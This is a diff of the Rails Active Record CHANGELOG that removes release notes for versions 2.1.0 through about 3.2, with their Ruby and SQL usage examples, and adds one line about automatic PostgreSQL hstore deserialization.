- *Joseph Palermo*
-
-* Transactional fixtures enlist all active database connections. You can test
- models on different connections without disabling transactional fixtures.
-
- *Jeremy Kemper*
-
-* Add first_or_create, first_or_create!, first_or_initialize methods to Active Record. This is a
- better approach over the old find_or_create_by dynamic methods because it's clearer which
- arguments are used to find the record and which are used to create it:
-
- User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
-
- *Andrés Mejía*
-
-* Fix nested attributes bug where _destroy parameter is taken into account
- during :reject_if => :all_blank (fixes #2937)
-
- *Aaron Christy*
-
-
-## Rails 3.1.4 (March 1, 2012) ##
-
- * Fix a custom primary key regression *GH 3987*
-
- *Jon Leighton*
-
- * Perf fix (second try): don't load records for `has many :dependent =>
- :delete_all` *GH 3672*
-
- *Jon Leighton*
-
- * Fix accessing `proxy_association` method from an association extension
- where the calls are chained. *GH #3890*
-
- (E.g. `post.comments.where(bla).my_proxy_method`)
-
- *Jon Leighton*
-
- * Perf fix: MySQL primary key lookup was still slow for very large
- tables. *GH 3678*
-
- *Kenny J*
-
- * Perf fix: If a table has no primary key, don't repeatedly ask the database for it.
-
- *Julius de Bruijn*
-
-
-### Rails 3.1.3 (November 20, 2011) ##
-
-* Perf fix: If we're deleting all records in an association, don't add a IN(..) clause
- to the query. *GH 3672*
-
- *Jon Leighton*
-
-* Fix bug with referencing other mysql databases in set_table_name. *GH 3690*
-
-* Fix performance bug with mysql databases on a server with lots of other databses. *GH 3678*
-
- *Christos Zisopoulos and Kenny J*
-
-
-### Rails 3.1.2 (November 18, 2011) ##
-
-* Fix bug with PostgreSQLAdapter#indexes. When the search path has multiple schemas, spaces
- were not being stripped from the schema names after the first.
-
- *Sean Kirby*
-
-* Preserve SELECT columns on the COUNT for finder_sql when possible. *GH 3503*
-
- *Justin Mazzi*
-
-* Reset prepared statement cache when schema changes impact statement results. *GH 3335*
-
- *Aaron Patterson*
-
-* Postgres: Do not attempt to deallocate a statement if the connection is no longer active.
-
- *Ian Leitch*
-
-* Prevent QueryCache leaking database connections. *GH 3243*
-
- *Mark J. Titorenko*
-
-* Fix bug where building the conditions of a nested through association could potentially
- modify the conditions of the through and/or source association. If you have experienced
- bugs with conditions appearing in the wrong queries when using nested through associations,
- this probably solves your problems. *GH #3271*
-
- *Jon Leighton*
-
-* If a record is removed from a has_many :through, all of the join records relating to that
- record should also be removed from the through association's target.
-
- *Jon Leighton*
-
-* Fix adding multiple instances of the same record to a has_many :through. *GH #3425*
-
- *Jon Leighton*
-
-* Fix creating records in a through association with a polymorphic source type. *GH #3247*
-
- *Jon Leighton*
-
-* MySQL: use the information_schema than the describe command when we look for a primary key. *GH #3440*
-
- *Kenny J*
-
-
-## Rails 3.1.1 (October 7, 2011) ##
-
-* Add deprecation for the preload_associations method. Fixes #3022.
-
- *Jon Leighton*
-
-* Don't require a DB connection when loading a model that uses set_primary_key. GH #2807.
-
- *Jon Leighton*
-
-* Fix using select() with a habtm association, e.g. Person.friends.select(:name). GH #3030 and
- \#2923.
-
- *Hendy Tanata*
-
-* Fix belongs_to polymorphic with custom primary key on target. GH #3104.
-
- *Jon Leighton*
-
-* CollectionProxy#replace should change the DB records rather than just mutating the array.
- Fixes #3020.
-
- *Jon Leighton*
-
-* LRU cache in mysql and sqlite are now per-process caches.
-
- * lib/active_record/connection_adapters/mysql_adapter.rb: LRU cache keys are per process id.
- * lib/active_record/connection_adapters/sqlite_adapter.rb: ditto
- *Aaron Patterson*
-
-* Support bulk change_table in mysql2 adapter, as well as the mysql one. *Jon Leighton*
-
-* If multiple parameters are sent representing a date, and some are blank, the
- resulting object is nil. In previous releases those values defaulted to 1. This only affects existing but blank parameters, missing ones still raise an error. [Akira Matsuda]
-* ActiveRecord::Base.establish_connection now takes a string that contains
- a URI that specifies the connection configuration. For example:
- ActiveRecord::Base.establish_connection 'postgres://localhost/foo'
-
-## Rails 3.1.0 (August 30, 2011) ##
-
-* Add a proxy_association method to association proxies, which can be called by association
- extensions to access information about the association. This replaces proxy_owner etc with
- proxy_association.owner.
-
- *Jon Leighton*
-
-* ActiveRecord::MacroReflection::AssociationReflection#build_record has a new method signature.
-
- Before: def build_association(*options)
- After: def build_association(*options, &block)
-
- Users who are redefining this method to extend functionality should ensure that the block is
- passed through to ActiveRecord::Base#new.
-
- This change is necessary to fix https://github.com/rails/rails/issues/1842.
-
- *Jon Leighton*
-
-* AR#pluralize_table_names can be used to singularize/pluralize table name of an individual model:
-
- class User < ActiveRecord::Base
- self.pluralize_table_names = false
- end
-
- Previously this could only be set globally for all models through ActiveRecord::Base.pluralize_table_names. *Guillermo Iguaran*
-
-* Add block setting of attributes to singular associations:
-
- class User < ActiveRecord::Base
- has_one :account
- end
-
- user.build_account{ |a| a.credit_limit = 100.0 }
-
- The block is called after the instance has been initialized. *Andrew White*
-
-* Add ActiveRecord::Base.attribute_names to return a list of attribute names. This will return an empty array if the model is abstract or table does not exists. *Prem Sichanugrist*
-
-* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0
-
-* AR#new, AR#create, AR#create!, AR#update_attributes and AR#update_attributes! all accept a second hash as option that allows you
- to specify which role to consider when assigning attributes. This is built on top of ActiveModel's
- new mass assignment capabilities:
-
- class Post < ActiveRecord::Base
- attr_accessible :title
- attr_accessible :title, :published_at, :as => :admin
- end
-
- Post.new(params[:post], :as => :admin)
-
- assign_attributes() with similar API was also added and attributes=(params, guard) was deprecated.
-
- Please note that this changes the method signatures for AR#new, AR#create, AR#create!, AR#update_attributes and AR#update_attributes!. If you have overwritten these methods you should update them accordingly.
-
- *Josh Kalderimis*
-
-* default_scope can take a block, lambda, or any other object which responds to `call` for lazy
- evaluation:
-
- default_scope { ... }
- default_scope lambda { ... }
- default_scope method(:foo)
-
- This feature was originally implemented by Tim Morgan, but was then removed in favour of
- defining a 'default_scope' class method, but has now been added back in by Jon Leighton.
- The relevant lighthouse ticket is #1812.
-
-* Default scopes are now evaluated at the latest possible moment, to avoid problems where
- scopes would be created which would implicitly contain the default scope, which would then
- be impossible to get rid of via Model.unscoped.
-
- Note that this means that if you are inspecting the internal structure of an
- ActiveRecord::Relation, it will *not* contain the default scope, though the resulting
- query will do. You can get a relation containing the default scope by calling
- ActiveRecord#with_default_scope, though this is not part of the public API.
-
- *Jon Leighton*
-
-* If you wish to merge default scopes in special ways, it is recommended to define your default
- scope as a class method and use the standard techniques for sharing code (inheritance, mixins,
- etc.):
-
- class Post < ActiveRecord::Base
- def self.default_scope
- where(:published => true).where(:hidden => false)
- end
- end
-
- *Jon Leighton*
-
-* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
-
-* ConnectionManagement middleware is changed to clean up the connection pool
- after the rack body has been flushed.
-
-* Added an update_column method on ActiveRecord. This new method updates a given attribute on an object, skipping validations and callbacks.
- It is recommended to use #update_attribute unless you are sure you do not want to execute any callback, including the modification of
- the updated_at column. It should not be called on new records.
- Example:
-
- User.first.update_column(:name, "sebastian") # => true
-
- *Sebastian Martinez*
-
-* Associations with a :through option can now use *any* association as the
- through or source association, including other associations which have a
- :through option and has_and_belongs_to_many associations
-
- *Jon Leighton*
-
-* The configuration for the current database connection is now accessible via
- ActiveRecord::Base.connection_config. *fxn*
-
-* limits and offsets are removed from COUNT queries unless both are supplied.
- For example:
-
- People.limit(1).count # => 'SELECT COUNT(*) FROM people'
- People.offset(1).count # => 'SELECT COUNT(*) FROM people'
- People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
-
- *lighthouse #6262*
-
-* ActiveRecord::Associations::AssociationProxy has been split. There is now an Association class
- (and subclasses) which are responsible for operating on associations, and then a separate,
- thin wrapper called CollectionProxy, which proxies collection associations.
-
- This prevents namespace pollution, separates concerns, and will allow further refactorings.
-
- Singular associations (has_one, belongs_to) no longer have a proxy at all. They simply return
- the associated record or nil. This means that you should not use undocumented methods such
- as bob.mother.create - use bob.create_mother instead.
-
- *Jon Leighton*
-
-* Make has_many :through associations work correctly when you build a record and then save it. This
- requires you to set the :inverse_of option on the source reflection on the join model, like so:
-
- class Post < ActiveRecord::Base
- has_many :taggings
- has_many :tags, :through => :taggings
- end
-
- class Tagging < ActiveRecord::Base
- belongs_to :post
- belongs_to :tag, :inverse_of => :tagging # :inverse_of must be set!
- end
-
- class Tag < ActiveRecord::Base
- has_many :taggings
- has_many :posts, :through => :taggings
- end
-
- post = Post.first
- tag = post.tags.build :name => "ruby"
- tag.save # will save a Taggable linking to the post
-
- *Jon Leighton*
-
-* Support the :dependent option on has_many :through associations. For historical and practical
- reasons, :delete_all is the default deletion strategy employed by association.delete(*records),
- despite the fact that the default strategy is :nullify for regular has_many. Also, this only
- works at all if the source reflection is a belongs_to. For other situations, you should directly
- modify the through association.
-
- *Jon Leighton*
-
-* Changed the behaviour of association.destroy for has_and_belongs_to_many and has_many :through.
- From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link',
- not (necessarily) 'get rid of the associated records'.
-
- Previously, has_and_belongs_to_many.destroy(*records) would destroy the records themselves. It
- would not delete any records in the join table. Now, it deletes the records in the join table.
-
- Previously, has_many_through.destroy(*records) would destroy the records themselves, and the
- records in the join table. [Note: This has not always been the case; previous version of Rails
- only deleted the records themselves.] Now, it destroys only the records in the join table.
-
- Note that this change is backwards-incompatible to an extent, but there is unfortunately no
- way to 'deprecate' it before changing it. The change is being made in order to have
- consistency as to the meaning of 'destroy' or 'delete' across the different types of associations.
-
- If you wish to destroy the records themselves, you can do records.association.each(&:destroy)
-
- *Jon Leighton*
-
-* Add :bulk => true option to change_table to make all the schema changes defined in change_table block using a single ALTER statement. *Pratik Naik*
-
- Example:
-
- change_table(:users, :bulk => true) do |t|
- t.string :company_name
- t.change :birthdate, :datetime
- end
-
- This will now result in:
-
- ALTER TABLE `users` ADD COLUMN `company_name` varchar(255), CHANGE `updated_at` `updated_at` datetime DEFAULT NULL
-
-* Removed support for accessing attributes on a has_and_belongs_to_many join table. This has been
- documented as deprecated behaviour since April 2006. Please use has_many :through instead.
- *Jon Leighton*
-
-* Added a create_association! method for has_one and belongs_to associations. *Jon Leighton*
-
-* Migration files generated from model and constructive migration generators
- (for example, add_name_to_users) use the reversible migration's `change`
- method instead of the ordinary `up` and `down` methods. *Prem Sichanugrist*
-
-* Removed support for interpolating string SQL conditions on associations. Instead, you should
- use a proc, like so:
-
- Before:
-
- has_many :things, :conditions => 'foo = #{bar}'
-
- After:
-
- has_many :things, :conditions => proc { "foo = #{bar}" }
-
- Inside the proc, 'self' is the object which is the owner of the association, unless you are
- eager loading the association, in which case 'self' is the class which the association is within.
-
- You can have any "normal" conditions inside the proc, so the following will work too:
-
- has_many :things, :conditions => proc { ["foo = ?", bar] }
-
- Previously :insert_sql and :delete_sql on has_and_belongs_to_many association allowed you to call
- 'record' to get the record being inserted or deleted. This is now passed as an argument to
- the proc.
-
-* Added ActiveRecord::Base#has_secure_password (via ActiveModel::SecurePassword) to encapsulate dead-simple password usage with BCrypt encryption and salting [DHH]. Example:
-
- # Schema: User(name:string, password_digest:string, password_salt:string)
- class User < ActiveRecord::Base
- has_secure_password
- end
-
- user = User.new(:name => "david", :password => "", :password_confirmation => "nomatch")
- user.save # => false, password required
- user.password = "mUc3m00RsqyRe"
- user.save # => false, confirmation doesn't match
- user.password_confirmation = "mUc3m00RsqyRe"
- user.save # => true
- user.authenticate("notright") # => false
- user.authenticate("mUc3m00RsqyRe") # => user
- User.find_by_name("david").try(:authenticate, "notright") # => nil
- User.find_by_name("david").try(:authenticate, "mUc3m00RsqyRe") # => user
-
-
-* When a model is generated add_index is added by default for belongs_to or references columns
-
- rails g model post user:belongs_to will generate the following:
-
- class CreatePosts < ActiveRecord::Migration
- def up
- create_table :posts do |t|
- t.belongs_to :user
- t.timestamps
- end
-
- add_index :posts, :user_id
- end
-
- def down
- drop_table :posts
- end
- end
-
- *Santiago Pastorino*
-
-* Setting the id of a belongs_to object will update the reference to the
- object. [#2989 state:resolved]
-* ActiveRecord::Base#dup and ActiveRecord::Base#clone semantics have changed
- to closer match normal Ruby dup and clone semantics.
-* Calling ActiveRecord::Base#clone will result in a shallow copy of the record,
- including copying the frozen state. No callbacks will be called.
-* Calling ActiveRecord::Base#dup will duplicate the record, including calling
- after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return true for new_record?, have a nil id field, and is saveable.
-* Migrations can be defined as reversible, meaning that the migration system
- will figure out how to reverse your migration. To use reversible migrations, just define the "change" method. For example:
- class MyMigration < ActiveRecord::Migration
- def change
- create_table(:horses) do
- t.column :content, :text
- t.column :remind_at, :datetime
- end
- end
- end
-
- Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define 'up' and 'down' in your migration. If you define something in `change` that cannot be reversed, an IrreversibleMigration exception will be raised when going down.
-* Migrations should use instance methods rather than class methods:
- class FooMigration < ActiveRecord::Migration
- def up
- ...
- end
- end
-
*Aaron Patterson*
-* has_one maintains the association with separate after_create/after_update instead
- of a single after_save. *fxn*
-
-* The following code:
-
- Model.limit(10).scoping { Model.count }
-
- now generates the following SQL:
-
- SELECT COUNT(*) FROM models LIMIT 10
-
- This may not return what you want. Instead, you may with to do something
- like this:
-
- Model.limit(10).scoping { Model.all.size }
-
- *Aaron Patterson*
-
-
-## Rails 3.0.12 (March 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.0.11 (November 18, 2011) ##
-
-* Exceptions from database adapters should not lose their backtrace.
-
-* Backport "ActiveRecord::Persistence#touch should not use default_scope" (GH #1519)
-
-* Psych errors with poor yaml formatting are proxied. Fixes GH #2645 and
- GH #2731
-
-* Fix ActiveRecord#exists? when passsed a nil value
-
-
-## Rails 3.0.10 (August 16, 2011) ##
-
-* Magic encoding comment added to schema.rb files
-
-* schema.rb is written as UTF-8 by default.
-
-* Ensuring an established connection when running `rake db:schema:dump`
-
-* Association conditions will not clobber join conditions.
-
-* Destroying a record will destroy the HABTM record before destroying itself.
- GH #402.
-
-* Make `ActiveRecord::Batches#find_each` to not return `self`.
-
-* Update `table_exists?` in PG to to always use current search_path or schema if explictly set.
-
-
-## Rails 3.0.9 (June 16, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.8 (June 7, 2011) ##
-
-* Fix various problems with using :primary_key and :foreign_key options in conjunction with
- :through associations. [Jon Leighton]
-
-* Correctly handle inner joins on polymorphic relationships.
-
-* Fixed infinity and negative infinity cases in PG date columns.
-
-* Creating records with invalid associations via `create` or `save` will no longer raise exceptions.
-
-
-## Rails 3.0.7 (April 18, 2011) ##
-
-* Destroying records via nested attributes works independent of reject_if LH #6006 *Durran Jordan*
-
-* Delegate any? and many? to Model.scoped for consistency *Andrew White*
-
-* Quote the ORDER BY clause in batched finds - fixes #6620 *Andrew White*
-
-* Change exists? so records are not instantiated - fixes #6127. This prevents after_find
- and after_initialize callbacks being triggered when checking for record existence.
- *Andrew White*
-
-* Fix performance bug with attribute accessors which only occurred on Ruby 1.8.7, and ensure we
- cache type-casted values when the column returned from the db contains non-standard chars.
- *Jon Leighton*
-
-* Fix a performance regression introduced here 86acbf1cc050c8fa8c74a10c735e467fb6fd7df8
- related to read_attribute method *Stian Grytøyr*
-
-
-## Rails 3.0.6 (April 5, 2011) ##
-
-* Un-deprecate reorder method *Sebastian Martinez*
-
-* Extensions are applied when calling +except+ or +only+ on relations.
- Thanks to Iain Hecker.
-
-* Schemas set in set_table_name are respected by the mysql adapter. LH #5322
-
-* Fixed a bug when empty? was called on a grouped Relation that wasn't loaded.
- LH #5829
-
-* Reapply extensions when using except and only. Thanks Iain Hecker.
-
-* Binary data is escaped when being inserted to SQLite3 Databases. Thanks
- Naruse!
-
-
-## Rails 3.0.5 (February 26, 2011) ##
-
-* Model.where(:column => 1).where(:column => 2) will always produce an AND
- query.
- *Aaron Patterson*
-
-* Deprecated support for interpolated association conditions in the form of :conditions => 'foo = #{bar}'.
-
- Instead, you should use a proc, like so:
-
- Before:
-
- has_many :things, :conditions => 'foo = #{bar}'
-
- After:
-
- has_many :things, :conditions => proc { "foo = #{bar}" }
-
- Inside the proc, 'self' is the object which is the owner of the association, unless you are
- eager loading the association, in which case 'self' is the class which the association is within.
-
- You can have any "normal" conditions inside the proc, so the following will work too:
-
- has_many :things, :conditions => proc { ["foo = ?", bar] }
-
- Previously :insert_sql and :delete_sql on has_and_belongs_to_many association allowed you to call
- 'record' to get the record being inserted or deleted. This is now passed as an argument to
- the proc.
-
- *Jon Leighton*
-
-
-## Rails 3.0.4 (February 8, 2011) ##
-
-* Added deprecation warning for has_and_belongs_to_many associations where the join table has
- additional attributes other than the keys. Access to these attributes is removed in 3.1.
- Please use has_many :through instead. *Jon Leighton*
-
-
-## Rails 3.0.3 (November 16, 2010) ##
-
-* Support find by class like this: Post.where(:name => Post)
-
-
-## Rails 3.0.2 (November 15, 2010) ##
-
-* Dramatic speed increase (see: http://engineering.attinteractive.com/2010/10/arel-two-point-ohhhhh-yaaaaaa/) *Aaron Patterson*
-
-* reorder is deprecated in favor of except(:order).order(...) *Santiago Pastorino*
-
-* except is now AR public API
-
- Model.order('name').except(:order).order('salary')
-
- generates:
-
- SELECT * FROM models ORDER BY salary
-
- *Santiago Pastorino*
-
-* The following code:
-
- Model.limit(10).scoping { Model.count }
-
- now generates the following SQL:
-
- SELECT COUNT(*) FROM models LIMIT 10
-
- This may not return what you want. Instead, you may with to do something
- like this:
-
- Model.limit(10).scoping { Model.all.size }
+* PostgreSQL hstore types are automatically deserialized from the database.
*Aaron Patterson*
-
-## Rails 3.0.1 (October 15, 2010) ##
-
-* Introduce a fix for CVE-2010-3993
-
-
-## Rails 3.0.0 (August 29, 2010) ##
-
-* Add scoping and unscoped as the syntax to replace the old with_scope and with_exclusive_scope *José Valim*
-
-* New rake task, db:migrate:status, displays status of migrations #4947 *Kevin Skoglund*
-
-* select and order for ActiveRecord now always concatenate nested calls. Use reorder if you want the original order to be overwritten *Santiago Pastorino*
-
-* PostgreSQL: ensure the database time zone matches Ruby's time zone #4895 *Aaron Patterson*
-
-* Fixed that ActiveRecord::Base.compute_type would swallow NoMethodError #4751 *Andrew Bloomgarden, Andrew White*
-
-* Add index length support for MySQL. #1852 *Emili Parreno, Pratik Naik*
-
- Example:
-
- add_index(:accounts, :name, :name => 'by_name', :length => 10)
- => CREATE INDEX by_name ON accounts(name(10))
-
- add_index(:accounts, [:name, :surname], :name => 'by_name_surname', :length => {:name => 10, :surname => 15})
- => CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
-
-* find_or_create_by_attr(value, ...) works when attr is protected. #4457 *Santiago Pastorino, Marc-André Lafortune*
-
-* New callbacks: after_commit and after_rollback. Do expensive operations like image thumbnailing after_commit instead of after_save. #2991 *Brian Durand*
-
-* Serialized attributes are not converted to YAML if they are any of the formats that can be serialized to XML (like Hash, Array and Strings). *José Valim*
-
-* Destroy uses optimistic locking. If lock_version on the record you're destroying doesn't match lock_version in the database, a StaleObjectError is raised. #1966 *Curtis Hawthorne*
-
-* PostgreSQL: drop support for old postgres driver. Use pg 0.9.0 or later. *Jeremy Kemper*
-
-* Observers can prevent records from saving by returning false, just like before_save and friends. #4087 *Mislav Marohnić*
-
-* Add Relation extensions. *Pratik Naik*
-
- users = User.where(:admin => true).extending(User::AdminPowers)
-
- latest_users = User.order('created_at DESC') do
- def posts_count
- Post.count(:user_id => to_a.map(&:id))
- end
- end
-
-* To prefix the table names of all models in a module, define self.table_name_prefix on the module. #4032 *Andrew White*
-
-* Silenced "SHOW FIELDS" and "SET SQL_AUTO_IS_NULL=0" statements from the MySQL driver to improve log signal to noise ration in development *DHH*
-
-* PostgreSQLAdapter: set time_zone to UTC when Base.default_timezone == :utc so that Postgres doesn't incorrectly offset-adjust values inserted into TIMESTAMP WITH TIME ZONE columns. #3777 *Jack Christensen*
-
-* Allow relations to be used as scope.
-
- class Item
- scope :red, where(:colour => 'red')
- end
-
- Item.red.limit(10) # Ten red items
-
-* Rename named_scope to scope. *Pratik Naik*
-
-* Changed ActiveRecord::Base.store_full_sti_class to be true by default reflecting the previously announced Rails 3 default *DHH*
-
-* Add Relation#except. *Pratik Naik*
-
- one_red_item = Item.where(:colour => 'red').limit(1)
- all_items = one_red_item.except(:where, :limit)
-
-* Add Relation#delete_all. *Pratik Naik*
-
- Item.where(:colour => 'red').delete_all
-
-* Add Model.having and Relation#having. *Pratik Naik*
-
- Developer.group("salary").having("sum(salary) > 10000").select("salary")
-
-* Add Relation#count. *Pratik Naik*
-
- legends = People.where("age > 100")
- legends.count
- legends.count(:age, :distinct => true)
- legends.select('id').count
-
-* Add Model.readonly and association_collection#readonly finder method. *Pratik Naik*
-
- Post.readonly.to_a # Load all posts in readonly mode
- @user.items.readonly(false).to_a # Load all the user items in writable mode
-
-* Add .lock finder method *Pratik Naik*
-
- User.lock.where(:name => 'lifo').to_a
-
- old_items = Item.where("age > 100")
- old_items.lock.each {|i| .. }
-
-* Add Model.from and association_collection#from finder methods *Pratik Naik*
-
- user = User.scoped
- user.select('*').from('users, items')
-
-* Add relation.destroy_all *Pratik Naik*
-
- old_items = Item.where("age > 100")
- old_items.destroy_all
-
-* Add relation.exists? *Pratik Naik*
-
- red_items = Item.where(:colours => 'red')
- red_items.exists?
- red_items.exists?(1)
-
-* Add find(ids) to relations. *Pratik Naik*
-
- old_users = User.order("age DESC")
- old_users.find(1)
- old_users.find(1, 2, 3)
-
-* Add new finder methods to association collection. *Pratik Naik*
-
- class User < ActiveRecord::Base
- has_many :items
- end
-
- user = User.first
- user.items.where(:items => {:colour => 'red'})
- user.items.select('items.id')
-
-* Add relation.reload to force reloading the records. *Pratik Naik*
-
- topics = Topic.scoped
- topics.to_a # force load
- topics.first # returns a cached record
- topics.reload
- topics.first # Fetches a new record from the database
-
-* Rename Model.conditions and relation.conditions to .where. *Pratik Naik*
-
- Before :
- User.conditions(:name => 'lifo')
- User.select('id').conditions(["age > ?", 21])
-
- Now :
- User.where(:name => 'lifo')
- User.select('id').where(["age > ?", 21])
-
-* Add Model.select/group/order/limit/joins/conditions/preload/eager_load class methods returning a lazy relation. *Pratik Naik*
-
- Examples :
-
- posts = Post.select('id).order('name') # Returns a lazy relation
- posts.each {|p| puts p.id } # Fires "select id from posts order by name"
-
-* Model.scoped now returns a relation if invoked without any arguments. *Pratik Naik*
-
- Example :
-
- posts = Post.scoped
- posts.size # Fires "select count(*) from posts" and returns the count
- posts.each {|p| puts p.name } # Fires "select * from posts" and loads post objects
-
-* Association inverses for belongs_to, has_one, and has_many. Optimization to reduce database queries. #3533 *Murray Steele*
-
- # post.comments sets each comment's post without needing to :include
- class Post < ActiveRecord::Base
- has_many :comments, :inverse_of => :post
- end
-
-* MySQL: add_ and change_column support positioning. #3286 *Ben Marini*
-
-* Reset your Active Record counter caches with the reset_counter_cache class method. #1211 *Mike Breen, Gabe da Silveira*
-
-* Remove support for SQLite 2. Please upgrade to SQLite 3+ or install the plugin from git://github.com/rails/sqlite2_adapter.git *Pratik Naik*
-
-* PostgreSQL: XML datatype support. #1874 *Leonardo Borges*
-
-* quoted_date converts time-like objects to ActiveRecord::Base.default_timezone before serialization. This allows you to use Time.now in find conditions and have it correctly be serialized as the current time in UTC when default_timezone == :utc. #2946 *Geoff Buesing*
-
-* SQLite: drop support for 'dbfile' option in favor of 'database.' #2363 *Paul Hinze, Jeremy Kemper*
-
-* Added :primary_key option to belongs_to associations. #765 *Szymon Nowak, Philip Hallstrom, Noel Rocha*
- # employees.company_name references companies.name
- Employee.belongs_to :company, :primary_key => 'name', :foreign_key => 'company_name'
-
-* Implement #many? for NamedScope and AssociationCollection using #size. #1500 *Chris Kampmeier*
-
-* Added :touch option to belongs_to associations that will touch the parent record when the current record is saved or destroyed *DHH*
-
-* Added ActiveRecord::Base#touch to update the updated_at/on attributes (or another specified timestamp) with the current time *DHH*
-
-
-## 2.3.2 Final (March 15, 2009) ##
-
-* Added ActiveRecord::Base.find_each and ActiveRecord::Base.find_in_batches for batch processing *DHH/Jamis Buck*
-
-* Added that ActiveRecord::Base.exists? can be called with no arguments #1817 *Scott Taylor*
-
-* Add Support for updating deeply nested models from a single form. #1202 *Eloy Duran*
-
- class Book < ActiveRecord::Base
- has_one :author
- has_many :pages
-
- accepts_nested_attributes_for :author, :pages
- end
-
-* Make after_save callbacks fire only if the record was successfully saved. #1735 *Michael Lovitt*
-
- Previously the callbacks would fire if a before_save cancelled saving.
-
-* Support nested transactions using database savepoints. #383 *Jonathan Viney, Hongli Lai*
-
-* Added dynamic scopes ala dynamic finders #1648 *Yaroslav Markin*
-
-* Fixed that ActiveRecord::Base#new_record? should return false (not nil) for existing records #1219 *Yaroslav Markin*
-
-* I18n the word separator for error messages. Introduces the activerecord.errors.format.separator translation key. #1294 *Akira Matsuda*
-
-* Add :having as a key to find and the relevant associations. *Emilio Tagua*
-
-* Added default_scope to Base #1381 [Paweł Kondzior]. Example:
-
- class Person < ActiveRecord::Base
- default_scope :order => 'last_name, first_name'
- end
-
- class Company < ActiveRecord::Base
- has_many :people
- end
-
- Person.all # => Person.find(:all, :order => 'last_name, first_name')
- Company.find(1).people # => Person.find(:all, :order => 'last_name, first_name', :conditions => { :company_id => 1 })
-
-
-## 2.2.1 RC2 (November 14th, 2008) ##
-
-* Ensure indices don't flip order in schema.rb #1266 *Jordi Bunster*
-
-* Fixed that serialized strings should never be type-casted (i.e. turning "Yes" to a boolean) #857 *Andreas Korth*
-
-
-## 2.2.0 RC1 (October 24th, 2008) ##
-
-* Skip collection ids reader optimization if using :finder_sql *Jeremy Kemper*
-
-* Add Model#delete instance method, similar to Model.delete class method. #1086 *Hongli Lai (Phusion)*
-
-* MySQL: cope with quirky default values for not-null text columns. #1043 *Frederick Cheung*
-
-* Multiparameter attributes skip time zone conversion for time-only columns [#1030 state:resolved] *Geoff Buesing*
-
-* Base.skip_time_zone_conversion_for_attributes uses class_inheritable_accessor, so that subclasses don't overwrite Base [#346 state:resolved] *Emilio Tagua*
-
-* Added find_last_by dynamic finder #762 *Emilio Tagua*
-
-* Internal API: configurable association options and build_association method for reflections so plugins may extend and override. #985 *Hongli Lai (Phusion)*
-
-* Changed benchmarks to be reported in milliseconds *David Heinemeier Hansson*
-
-* Connection pooling. #936 *Nick Sieger*
-
-* Merge scoped :joins together instead of overwriting them. May expose scoping bugs in your code! #501 *Andrew White*
-
-* before_save, before_validation and before_destroy callbacks that return false will now ROLLBACK the transaction. Previously this would have been committed before the processing was aborted. #891 *Xavier Noria*
-
-* Transactional migrations for databases which support them. #834 *divoxx, Adam Wiggins, Tarmo Tänav*
-
-* Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp. #446. *Andrew Stone, Nik Wakelin*
-
-* change_column_default preserves the not-null constraint. #617 *Tarmo Tänav*
-
-* Fixed that create database statements would always include "DEFAULT NULL" (Nick Sieger) *#334*
-
-* Add :tokenizer option to validates_length_of to specify how to split up the attribute string. #507. [David Lowenfels] Example :
-
- \# Ensure essay contains at least 100 words.
- validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least %d words."), :tokenizer => lambda {|str| str.scan(/\w+/) }
-
-* Allow conditions on multiple tables to be specified using hash. [Pratik Naik]. Example:
-
- User.all :joins => :items, :conditions => { :age => 10, :items => { :color => 'black' } }
- Item.first :conditions => { :items => { :color => 'red' } }
-
-* Always treat integer :limit as byte length. #420 *Tarmo Tänav*
-
-* Partial updates don't update lock_version if nothing changed. #426 *Daniel Morrison*
-
-* Fix column collision with named_scope and :joins. #46 *Duncan Beevers, Mark Catley*
-
-* db:migrate:down and :up update schema_migrations. #369 *Michael Raidel, RaceCondition*
-
-* PostgreSQL: support :conditions => [':foo::integer', { :foo => 1 }] without treating the ::integer typecast as a bind variable. *Tarmo Tänav*
-
-* MySQL: rename_column preserves column defaults. #466 *Diego Algorta*
-
-* Add :from option to calculations. #397 *Ben Munat*
-
-* Add :validate option to associations to enable/disable the automatic validation of associated models. Resolves #301. *Jan De Poorter*
-
-* PostgreSQL: use 'INSERT ... RETURNING id' for 8.2 and later. *Jeremy Kemper*
-
-* Added SQL escaping for :limit and :offset in MySQL *Jonathan Wiess*
-
-
-## 2.1.0 (May 31st, 2008) ##
-
-* Add ActiveRecord::Base.sti_name that checks ActiveRecord::Base#store_full_sti_class? and returns either the full or demodulized name. *Rick Olson*
-
-* Add first/last methods to associations/named_scope. Resolved #226. *Ryan Bates*
-
-* Added SQL escaping for :limit and :offset #288 *Aaron Bedra, Steven Bristol, Jonathan Wiess*
-
-* Added first/last methods to associations/named_scope. Resolved #226. *Ryan Bates*
-
-* Ensure hm:t preloading honours reflection options. Resolves #137. *Frederick Cheung*
-
-* Added protection against duplicate migration names (Aslak Hellesøy) *#112*
-
-* Base#instantiate_time_object: eliminate check for Time.zone, since we can assume this is set if time_zone_aware_attributes is set to true *Geoff Buesing*
-
-* Time zone aware attribute methods use Time.zone.parse instead of #to_time for String arguments, so that offset information in String is respected. Resolves #105. *Scott Fleckenstein, Geoff Buesing*
-
-* Added change_table for migrations (Jeff Dean) [#71]. Example:
-
- change_table :videos do |t|
- t.timestamps # adds created_at, updated_at
- t.belongs_to :goat # adds goat_id integer
- t.string :name, :email, :limit => 20 # adds name and email both with a 20 char limit
- t.remove :name, :email # removes the name and email columns
- end
-
-* Fixed has_many :through .create with no parameters caused a "can't dup NilClass" error (Steven Soroka) *#85*
-
-* Added block-setting of attributes for Base.create like Base.new already has (Adam Meehan) *#39*
-
-* Fixed that pessimistic locking you reference the quoted table name (Josh Susser) *#67*
-
-* Fixed that change_column should be able to use :null => true on a field that formerly had false [Nate Wiger] *#26*
-
-* Added that the MySQL adapter should map integer to either smallint, int, or bigint depending on the :limit just like PostgreSQL *David Heinemeier Hansson*
-
